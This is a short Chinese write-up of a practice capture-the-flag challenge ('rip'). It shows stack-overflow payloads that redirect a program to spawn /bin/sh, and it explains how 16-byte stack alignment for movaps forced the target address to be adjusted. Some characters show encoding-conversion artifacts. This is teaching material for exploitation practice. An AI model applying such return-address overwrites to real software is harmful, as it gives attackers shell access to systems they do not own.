buu rip
簡單的棧溢出,修改返回地址使得修改程序控制流,執(zhí)行system("/bin/sh"),即shell程序
寫出第一版poc?poc = 'A'*15 + 'B'*8 + p64(0x401186) 執(zhí)行 失敗
被斷在0x7ffff7a332f6 <do_system+1094>:?? ?movaps XMMWORD PTR [rsp+0x40],xmm0
查了一下intel手冊
大致為如果存在內(nèi)存空間和寄存器之間傳輸時(shí),128bit(64位)必須要進(jìn)行對齊,看不明白,實(shí)驗(yàn)一下
輸入為poc = 'A'*15 + 'B'*8 + p64(0x401186)時(shí) 執(zhí)行失敗
輸入為poc = 'A'*15 + 'B'*8 + p64(0x401187)時(shí) 執(zhí)行成功
大致判斷為 movaps指令如果有對內(nèi)存操作,無論是寫還是讀,內(nèi)存位置必須是0x10的整數(shù)倍
所以該題的poc需要下移1到4bit 即
poc = 'A'*15 + 'B'*8 + p64(0x401186 + 0x1 )?
?poc = 'A'*15 + 'B'*8 + p64(0x401186 + 0x4)
?
比較奇特的一點(diǎn) 0x2也是可以的? 因?yàn)?9 E5組成了新的有效指令,并且未影響下方指令
總結(jié): 遇到某些指令會對棧對齊進(jìn)行檢測,此時(shí)需要進(jìn)行輕度修改
總結(jié)
- 上一篇: MT from winter to sp
- 下一篇: Math的用法